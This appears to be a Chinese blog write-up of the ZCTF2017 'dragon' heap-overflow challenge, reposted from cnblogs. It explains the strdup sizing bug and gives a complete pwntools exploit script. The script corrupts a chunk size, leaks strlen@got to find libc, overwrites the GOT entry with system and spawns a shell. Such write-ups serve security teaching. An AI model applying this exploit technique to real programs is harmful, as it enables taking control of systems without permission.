堆利用小结

堆利用小结

关于堆的利用原理比较复杂,今天就只分析一个最简单的堆溢出,后面关于UAF,double free,unlink等的一些相关东西,我抽个集中的时间再总结写出来。这里就用一道ZCTF2017 dragon的一道堆溢出的题来分析:

这是一个64位的程序,开启了cannary 和PIE。

接下来我们找洞:

 可以看到,在add函数的strdup函数处创建堆的时候出现了漏洞。导致在edit写入的数据的时候,可以写入的数据量大于strdup创建的堆,导致堆溢出,然后就可以覆写下一个堆的内容,进而leak地址和修改got。原理如下图:

 

脚本如下:

 1 from pwn import *
 2  
 3 debug = 1 
 4 #r = remote('58.213.63.30', 11501) 
 5 r = process("./dragon")
 6 context.log_level = 'debug'
 7    
 8 def add(size, name, content):
 9     r.recvuntil('>> ')
10     r.sendline('1')
11     r.recvuntil(':')
12     r.sendline(str(size))
13     r.recvuntil(':')
14     r.sendline(name)
15     r.recvuntil(':')
16     r.sendline(content)
17     
18 def edit(id, content):
19     r.recvuntil('>> ')
20     r.sendline('2')
21     r.recvuntil(':')
22     r.sendline(str(id))
23     r.recvuntil(':')
24     r.write(content)
25     
26 def show(id):
27     r.recvuntil('>> ')
28     r.sendline('4')
29     r.recvuntil(':')
30     r.sendline(str(id))
31     
32 def delete(id):
33     r.recvuntil('>> ')
34     r.sendline('3')
35     r.recvuntil(':')
36     r.sendline(str(id))
37       
38 add(0x20, 'AAAA', 'AAAA')
39 add(0x20, 'BBBB', 'B'*0x18)
40 add(0x20, 'CCCC', 'C'*0x18)
41 
42 edit(0, 'A'*0x18+p64(0xd1)) 
43 
44 delete(1)
45 
46 add(0x20, 'DDDD', 'D'*0x18)
47 
48 strlen_got = 0x602028
49 
50 add(0x10, 'EEEE', p64(strlen_got)+'E'*0x10)
51 edit(3, p64(strlen_got)) 
52 
53 show(2)
54 r.recvuntil('content: ')
55 strlen_addr = u64(r.readline()[:-1].ljust(8, 'x00'))
56 print "[*] strlen addr:{0}".format(hex(strlen_addr))
57 #libc = ELF("./libc-2.19.so")
58 libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
59 libc_base = strlen_addr - libc.symbols['strlen']
60 system_addr = libc_base + libc.symbols['system'] 
61 #gdb.attach(r,open('bb')) 
62 print"system_addr",hex(system_addr)
63 edit(2, p64(system_addr))
64     
65 edit(0, '/bin/shx00')
66 r.interactive()

 现在我们来对这道题仔细的研究下:

首先申请了3组堆,每add一个对象会创建三个堆,分别为空堆 + name + content。

 

 然后拓展堆,并且释放到 Unsortbins:

 

 然后构造两组堆!DDD和EEE。

 

可以看到 0xdb9100处,也就是我们把strlen@got的地址写入了,EEEE堆的内容(content)处:

 

这样我们在list(2)的时候,就可以leak出strlen的地址了,进而获取libc的基地址,获取system的地址,写入system地址,再传入参数。

 这里有一个坑啊,通过read函数,改写strlen@got,因为read的指针指向EEEE的content,直接写入数据就行了。

然后就是调动system("/bin/sh")喽!

 

原文地址:https://www.cnblogs.com/Yable/p/7979467.html